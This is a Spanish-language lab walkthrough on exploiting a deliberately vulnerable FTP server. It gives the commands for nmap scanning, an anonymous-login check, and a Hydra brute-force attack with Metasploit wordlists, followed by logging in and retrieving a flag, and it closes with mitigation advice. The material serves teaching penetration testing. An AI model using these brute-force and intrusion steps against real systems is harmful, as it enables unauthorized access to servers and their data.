Vulnerable FTP Server
Explotación de un servidor FTP con credenciales débiles
Objetivo: Explotar un servidor FTP con credenciales débiles para obtener acceso, enumerar archivos y extraer la flag usando Nmap, Hydra y el cliente FTP nativo.
¿Qué es FTP y por qué es crÃtico en pentesting?
El File Transfer Protocol (FTP) opera en texto plano (puerto 21 control, 20 datos). Los dos vectores más frecuentes son: acceso anónimo habilitado por error y contraseñas débiles.
1. Identificación del objetivo
cat /root/Desktop/targetMuestra la IP de la máquina vÃctima asignada por el laboratorio.
2. Escaneo de puertos
nmap -sS -sV <IP>-sS SYN scan sigiloso; -sV detecta versiones. Muestra FTP en el puerto 21/TCP con la versión del servidor.
3. Comprobar acceso anónimo
nmap --script ftp-anon -p 21 <IP>El script NSE ftp-anon intenta autenticarse como anonymous con contraseña vacÃa.
Tip: Si hay acceso anónimo, busca
readme.txt, .bash_history o archivos que revelen credenciales internas.4. Fuerza bruta con Hydra
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt \
-P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt \
ftp://<IP>Hydra prueba combinaciones en paralelo. Resultado esperado: ftpuser:password123.
5. Acceso al servidor FTP
ftp <IP>
# Username: ftpuser
# Password: password123
ls
cd secret
get flag.txt
bye6. Lectura de la flag
cat flag.txtEjemplo: 098f6bcd4621d373cade4e832627b4f6
Flujo del ataque
1
Reconocimiento: nmap -sS -sV para detectar FTP y versión
2
Enumeración: ftp-anon para comprobar acceso anónimo
3
Fuerza bruta: Hydra con diccionarios Metasploit
4
Acceso: ftp <IP> con credenciales encontradas
5
Post-explotación: ls / get flag.txt / cat flag.txt
Conceptos clave
| Concepto | Descripción |
|---|---|
FTP Puerto 21 | Control de sesión; credenciales en texto plano |
ftp-anon | Script NSE que detecta login anónimo habilitado |
Hydra | Herramienta de fuerza bruta multi-protocolo |
PASV / PORT | Modos de transferencia de datos |
Mitigación: Deshabilitar FTP anónimo, usar SFTP/FTPS, contraseñas fuertes y listas de acceso por IP.